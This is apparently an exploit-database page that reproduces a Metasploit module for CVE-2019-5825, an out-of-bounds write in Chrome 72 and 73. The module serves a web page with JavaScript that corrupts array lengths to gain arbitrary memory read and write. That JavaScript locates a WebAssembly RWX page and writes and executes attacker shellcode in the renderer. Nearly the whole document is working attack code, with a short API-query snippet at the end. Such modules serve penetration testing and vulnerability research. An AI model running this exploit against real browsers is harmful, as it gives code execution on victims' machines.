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"Google Chrome 72 and 73 - Array.map Out-of-Bounds Write (Metasploit)"

Author

Exploit author

Metasploit

Platform

Exploit platform

multiple

Release date

Exploit published date

2020-03-09

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Google Chrome 72 and 73 Array.map exploit',
      'Description'    => %q{
        This module exploits an issue in Chrome 73.0.3683.86 (64 bit).
      The exploit corrupts the length of a float in order to modify the backing store
      of a typed array. The typed array can then be used to read and write arbitrary
      memory. The exploit then uses WebAssembly in order to allocate a region of RWX
      memory, which is then replaced with the payload.
        The payload is executed within the sandboxed renderer process, so the browser
      must be run with the --no-sandbox option for the payload to work correctly.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
          'dmxcsnsbh', # discovery
          'István Kurucsai', # exploit
          'timwr', # metasploit module
        ],
      'References'     => [
          ['CVE', '2019-5825'],
          ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=941743'],
          ['URL', 'https://github.com/exodusintel/Chromium-941743'],
          ['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'],
          ['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'],
        ],
      'Arch'           => [ ARCH_X64 ],
      'Platform'       => ['windows','osx'],
      'DefaultTarget'  => 0,
      'Targets'        => [ [ 'Automatic', { } ] ],
      'DisclosureDate' => 'Mar 7 2019'))
    register_advanced_options([
      OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
    ])
  end

  def on_request_uri(cli, request)

    if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
      print_status("[*] #{request.body}")
      send_response(cli, '')
      return
    end

    print_status("Sending #{request.uri} to #{request['User-Agent']}")
    escaped_payload = Rex::Text.to_unescape(payload.encoded)
    jscript = %Q^
// HELPER FUNCTIONS
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
    return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
    int_view[0] = this;
    return float_view[0];
}
BigInt.prototype.smi2f = function() {
    int_view[0] = this << 32n;
    return float_view[0];
}
Number.prototype.f2i = function() {
    float_view[0] = this;
    return int_view[0];
}
Number.prototype.f2smi = function() {
    float_view[0] = this;
    return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
    return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
    return BigInt(this).smi2f();
}

// *******************
// Exploit starts here
// *******************
// This call ensures that TurboFan won't inline array constructors.
Array(2**30);

// we are aiming for the following object layout
// [output of Array.map][packed float array][typed array][Object]
// First the length of the packed float array is corrupted via the original vulnerability,
// then the float array can be used to modify the backing store of the typed array, thus achieving AARW.
// The Object at the end is used to implement addrof

// offset of the length field of the float array from the map output
const float_array_len_offset = 23;
// offset of the length field of the typed array
const tarray_elements_len_offset = 24;
// offset of the address pointer of the typed array
const tarray_elements_addr_offset = tarray_elements_len_offset + 1;
const obj_prop_b_offset = 33;

// Set up a fast holey smi array, and generate optimized code.
let a = [1, 2, ,,, 3];
let cnt = 0;
var tarray;
var float_array;
var obj;

function mapping(a) {
  function cb(elem, idx) {
    if (idx == 0) {
      float_array = [0.1, 0.2];

      tarray = new BigUint64Array(2);
      tarray[0] = 0x41414141n;
      tarray[1] = 0x42424242n;
      obj = {'a': 0x31323334, 'b': 1};
      obj['b'] = obj;
    }

    if (idx > float_array_len_offset) {
      // minimize the corruption for stability
      throw "stop";
    }
    return idx;
  }
  return a.map(cb);
}

function get_rw() {
  for (let i = 0; i < 10 ** 5; i++) {
    mapping(a);
  }

  // Now lengthen the array, but ensure that it points to a non-dictionary
  // backing store.
  a.length = (32 * 1024 * 1024)-1;
  a.fill(1, float_array_len_offset, float_array_len_offset+1);
  a.fill(1, float_array_len_offset+2);

  a.push(2);
  a.length += 500;

  // Now, the non-inlined array constructor should produce an array with
  // dictionary elements: causing a crash.
  cnt = 1;
  try {
    mapping(a);
  } catch(e) {
    // relative RW from the float array from this point on
    let sane = sanity_check()
    print('sanity_check == ', sane);
    print('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().toString(16));
    print('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().toString(16));
    print('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().toString(16));

    let original_elements_ptr = float_array[tarray_elements_len_offset+1].f2i() - 1n;
    print('original elements addr: ' + original_elements_ptr.toString(16));
    print('original elements value: ' + read8(original_elements_ptr).toString(16));
    print('addrof(Object): ' + addrof(Object).toString(16));
  }
}

function sanity_check() {
  success = true;
  success &= float_array[tarray_elements_len_offset+3].f2i() == 0x41414141;
  success &= float_array[tarray_elements_len_offset+4].f2i() == 0x42424242;
  success &= float_array[tarray_elements_len_offset+8].f2i() == 0x3132333400000000;
  return success;
}

function read8(addr) {
  let original = float_array[tarray_elements_len_offset+1];
  float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
  let result = tarray[0];
  float_array[tarray_elements_len_offset+1] = original;
  return result;
}

function write8(addr, val) {
  let original = float_array[tarray_elements_len_offset+1];
  float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();
  tarray[0] = val;
  float_array[tarray_elements_len_offset+1] = original;
}

function addrof(o) {
  obj['b'] = o;
  return float_array[obj_prop_b_offset].f2i();
}

var wfunc = null;
var shellcode = unescape("#{escaped_payload}");

function get_wasm_func() {
  var importObject = {
      imports: { imported_func: arg => print(arg) }
  };
  bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
  wasm_code = new Uint8Array(bc);
  wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
  return wasm_mod.exports.exported_func;
}

function rce() {
  let wasm_func = get_wasm_func();
  wfunc = wasm_func;
  // traverse the JSFunction object chain to find the RWX WebAssembly code page
  let wasm_func_addr = addrof(wasm_func) - 1n;
  print('wasm: ' + wasm_func_addr);
  if (wasm_func_addr == 2) {
    print('Failed, retrying...');
    location.reload();
    return;
  }

  let sfi = read8(wasm_func_addr + 12n*2n) - 1n;
  print('sfi: ' + sfi.toString(16));
  let WasmExportedFunctionData = read8(sfi + 4n*2n) - 1n;
  print('WasmExportedFunctionData: ' + WasmExportedFunctionData.toString(16));

  let instance = read8(WasmExportedFunctionData + 8n*2n) - 1n;
  print('instance: ' + instance.toString(16));

  //let rwx_addr = read8(instance + 0x108n);
  let rwx_addr = read8(instance + 0xf8n) + 0n; // Chrome/73.0.3683.86
  //let rwx_addr = read8(instance + 0xe0n) + 18n; // Chrome/69.0.3497.100
  //let rwx_addr = read8(read8(instance - 0xc8n) + 0x53n); // Chrome/68.0.3440.84
  print('rwx: ' + rwx_addr.toString(16));

  // write the shellcode to the RWX page
  if (shellcode.length % 2 != 0) {
    shellcode += "\u9090";
  }

  for (let i = 0; i < shellcode.length; i += 2) {
    write8(rwx_addr + BigInt(i*2), BigInt(shellcode.charCodeAt(i) + shellcode.charCodeAt(i + 1) * 0x10000));
  }

  // invoke the shellcode
  wfunc();
}


function exploit() {
  print("Exploiting...");
  get_rw();
  rce();
}

exploit();
^

    if datastore['DEBUG_EXPLOIT']
      debugjs = %Q^
print = function(arg) {
  var request = new XMLHttpRequest();
  request.open("POST", "/print", false);
  request.send("" + arg);
};
^
      jscript = "#{debugjs}#{jscript}"
    else
      jscript.gsub!(/\/\/.*$/, '') # strip comments
      jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
    end

    html = %Q^
<html>
<head>
<script>
#{jscript}
</script>
</head>
<body>
</body>
</html>
    ^
    send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
  end

end
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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48183/?format=json')

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